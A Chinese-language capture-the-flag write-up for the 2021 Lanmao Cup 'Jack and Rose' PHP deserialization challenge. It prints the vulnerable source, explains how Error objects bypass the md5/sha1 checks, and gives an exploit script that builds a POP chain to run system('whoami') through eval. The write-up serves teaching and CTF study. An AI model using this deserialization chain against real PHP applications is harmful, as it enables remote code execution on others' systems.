2021蓝帽杯半决赛[Jack and Rose]

反序列化题做得少,正好这个题比较适合学习反序列化

本题设计的魔术方法:
- __invoke: 当该类被作为函数调用时执行
- __set: 当对象赋值一个不存在的属性时执行
- __call: 当对象调用不存在的方法时执行
- __destruct: 对象销毁时执行

源码如下:

<?php
highlight_file(__file__);

class Jack
{
    private $action;

    function __set($a, $b)
    {
        $b->$a();
    }
}

class Love {
    public $var;
    function __call($a,$b)
    {
        $rose = $this->var;
        call_user_func($rose);
    }
    private function action(){
        echo "jack love rose";
    }
}

class Titanic{
    public $people;
    public $ship;
    function __destruct(){
        $this->people->action=$this->ship;
    }
}

class Rose{
    public $var1;
    public $var2;
    function __invoke(){
        if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
            eval($this->var1);
        }
    }
}

if(isset($_GET['love'])){
    $sail=$_GET['love'];
    unserialize($sail);
}
?>

做反序列化的题呢,先找利用的点,再去反推pop链
这里可以看到最后一个类里有eval()且参数可控,显然就是这里想办法绕过,去利用这个eval。

绕过if

用php的原生类:Error,Exception
这两个类含有__tostring方法

<

p>md5()和sha1()对一个类进行hash,会触发这个类的__toString()方法,当eval函数传入类对象时,也会触发__toString()方法

所以如果var1和var2都是带有Error类时,进行md5()或sha1()传值时,触发__tostring(),而__tostring()的返回值是可以构造的
比如:
file
file
可以看到变量值不同,但是返回的值(报错信息)是一样的,返回值包含了对象 new 的位置,所以需要在同一行 new 两个对象。
这样绕过了三个判断,可以执行 eval 了。

利用eval

从上面绕过的返回值上可以看到包含了 Error 的参数,当参数构造为可执行php时,即可
file
file
输出yes,执行成功,这里需要闭合一下,否则会报错无法执行。

解题思路:

利用位置:
Rose类,利用方法__invoke(),绕过三个比较执行eval。
file

反推pop链:
执行eval,需要调用Rose(),触发__invoke

调用Rose():
Love类存在调用,可以触发 __invoke(),前提是触发__call()
file
$var= new Rose;
call_user_func() :将第一个参数作为回调函数执行
这里可以将Rose类作为函数调用,前提是触发__call

触发__call:
Jack类可构造调用某类的某方法,前提是触发__set();
file
可实现调用 Love 类中 private function action() 来触发__call()
$b = new Love;
$a = ???(不存在的方法即可)

触发__set():
Tianic类存在给指定类的 action 属性赋值,前提是触发__destruct()
file

$people = $Jack;
$ship = ???
可以实现给 Jack 类中的 action 属性赋值,而 action 是一个
private 属性访问,即可触发__set(),而 __destruct()会自动触发。

接下来就可以构造pop链了

构造pop链

Tianic -> Jack -> Love -> Rose

exp

$str = "?><?php system('whoami');?>";
$a = new Error($str);$b=new Error($str,1);
$J = new Jack();
$L = new Love();
$R = new Rose();
$T = new Titanic();
#上面创建对象

$R -> var1 = $a;
$R -> var2 = $b;  #使用php内置类绕过if
$L -> var = $R;  #调用Rose()
$T -> people = $J;   #给Jack类的 action 赋值,触发__set()
$T -> ship = $L;   #这里是为了调用 Love 类的action方法,单论触发魔术方法时,这里的值是任意的
echo(serialize($T));

执行成功
file
file
这里hackbar传参和url传参结果不同

补充

解释一下上面有问好的地方

一、上面的pop链,Titanic 类的 $ship 为什么是 $L?
当pop链中 $ship 为 'abc' 时,可以看到payload只有一小段,显然pop是断的。
file

到这里我们跳出这个题,看一下 Jack 类是怎么调用的

还是题目源码,为了方便调试,我删了不必要的代码,并且在 Jack 类里加了输出
file
只 new 了 Jack 和 Titanic
可以看到,__set($a,$b)确实触发了,而且 $a=action ,$b=abc
所以正如上面注释所说,仅触发__set()方法的话 $ship 的值是任意的,但是这题里面,$a 是写死的 action ,而 $b 就等价于 $ship。

触发__call()方法:
__set()里的 $b->$a 就意味着 $ship -> action()

到这里就清晰明了了,$ship不仅在Titanic类里触发__set(),还在Jack类里参与触发__call,而在Titanic类里对它的值不做要求,在Jack类里需要它的值为 $L。

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据